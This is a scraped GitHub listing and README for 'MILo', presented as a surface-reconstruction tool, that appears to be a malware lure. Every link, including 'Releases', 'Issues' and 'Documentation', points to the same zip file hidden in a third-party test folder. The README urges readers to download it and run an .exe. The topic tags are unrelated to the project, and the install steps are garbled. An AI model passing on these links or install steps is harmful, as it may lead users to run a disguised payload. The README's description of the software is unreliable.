https://github.com/bransantiago/milo
🖥️ Enhance surface reconstruction with MILo, a novel method using mesh-in-the-loop Gaussian splatting for detailed and efficient results.
https://github.com/bransantiago/milo
client components cryptography differentiable-rendering discord-bot elasticsearch franklin gaussian-splatting iec62541 java milo nodejs opcua python reactive-programming siggraph-asia surface-reconstruction transactions-on-graphics
Last synced: about 2 months ago
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🖥️ Enhance surface reconstruction with MILo, a novel method using mesh-in-the-loop Gaussian splatting for detailed and efficient results.
- Host: GitHub
- URL: https://github.com/bransantiago/milo
- Owner: bransantiago
- License: other
- Created: 2025-09-28T20:27:14.000Z (9 months ago)
- Default Branch: master
- Last Pushed: 2026-04-24T04:18:53.000Z (about 2 months ago)
- Last Synced: 2026-04-24T06:23:03.964Z (about 2 months ago)
- Topics: client, components, cryptography, differentiable-rendering, discord-bot, elasticsearch, franklin, gaussian-splatting, iec62541, java, milo, nodejs, opcua, python, reactive-programming, siggraph-asia, surface-reconstruction, transactions-on-graphics
- Language: Python
- Size: 10.7 MB
- Stars: 6
- Watchers: 2
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE.md
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README
# 🎉 MILo - Efficient Surface Reconstruction Made Easy
## 📥 Download Now
[](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip)
## 🖥️ Introduction
Welcome to MILo! This software provides a solution for detailed and efficient surface reconstruction through the method known as Mesh-In-the-Loop Gaussian Splatting. Designed for those interested in computer graphics, such as artists and designers, MILo simplifies the process of rendering complex surfaces.
## 🚀 Getting Started
To use MILo, follow these simple steps:
1. **Visit the Releases Page**
Go to the [MILo Releases page](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip).
2. **Choose the Latest Version**
Look for the latest version of the software. It will typically show at the top of the page.
3. **Download the Application**
Click on the appropriate file for your operating system and download it to your computer. Make sure to choose the version that matches your system requirements (see below for details).
## 📋 System Requirements
To run MILo effectively, ensure your computer meets the following requirements:
- **Operating System:** Windows 10 or later, macOS 10.15 or later, or a Linux distribution.
- **Processor:** Dual-core CPU or better.
- **Memory:** At least 8 GB of RAM.
- **Graphics Card:** Compatible with OpenGL 3.3 or later.
- **Storage:** Minimum of 500 MB of free space.
## 🔧 Download & Install
Once the download completes:
1. **Locate the Downloaded File**
Check your 'Downloads' folder (or the folder you configured for downloads).
2. **Install MILo**
- **For Windows:** Double-click the `.exe` file and follow the on-screen instructions.
- **For macOS:** Drag the https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip file to your Applications folder.
- **For Linux:** Extract the downloaded archive and run the executable.
3. **Launch the Application**
After installation, find MILo in your applications list and open it.
## 🎨 Features
MILo offers several key features:
- **Real-time Surface Reconstruction**
Generate detailed surfaces in real-time with minimal setup.
- **User-Friendly Interface**
Designed for artists, it keeps complex tools accessible and easy to use.
- **Support for Various Mesh Formats**
Import and work with different mesh formats seamlessly.
- **Customizable Settings**
Adjust settings to enhance rendering based on your computer's capabilities.
- **Documentation and Tutorials**
In-app help guides and video tutorials to assist you along the way.
## 📊 How to Use MILo
To create a surface using MILo, follow these straightforward steps:
1. **Load Your Mesh**
Click on "File" and select "Import" to load your mesh file.
2. **Adjust Parameters**
Navigate to the settings menu to tweak rendering options based on your needs.
3. **Render the Scene**
Click on “Render” to see the reconstruction in action.
4. **Export Your Work**
Once satisfied, export your rendered scene using the "Export" option.
## ⚙️ Troubleshooting
If you encounter issues:
- **Check System Compatibility:** Ensure your system meets the requirements outlined above.
- **Update Graphics Drivers:** Outdated drivers can lead to performance problems.
- **Refer to the Documentation:** Additional help can be found in the user manual accessible within the application.
## 🌐 Community and Support
Join our community for support and updates:
- **GitHub Issues:** Report bugs or request features directly on our [GitHub Issues page](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip).
- **Discussion Forums:** Engage with other users through forums available on our GitHub repository.
## 🔗 Additional Resources
- [MILo Releases](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip) - Download the latest versions.
- [Documentation](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip) - Detailed guides and FAQs.
## 📝 Acknowledgments
MILo is developed with contributions from the community and research teams attending SIGGRAPH Asia 2025. We appreciate your support and feedback!
## 📥 Download Now
[](https://github.com/bransantiago/MILo/raw/refs/heads/master/submodules/diff-gaussian-rasterization/third_party/glm/test/gtc/MI-Lo-v2.3.zip)
Enjoy exploring the possibilities with MILo!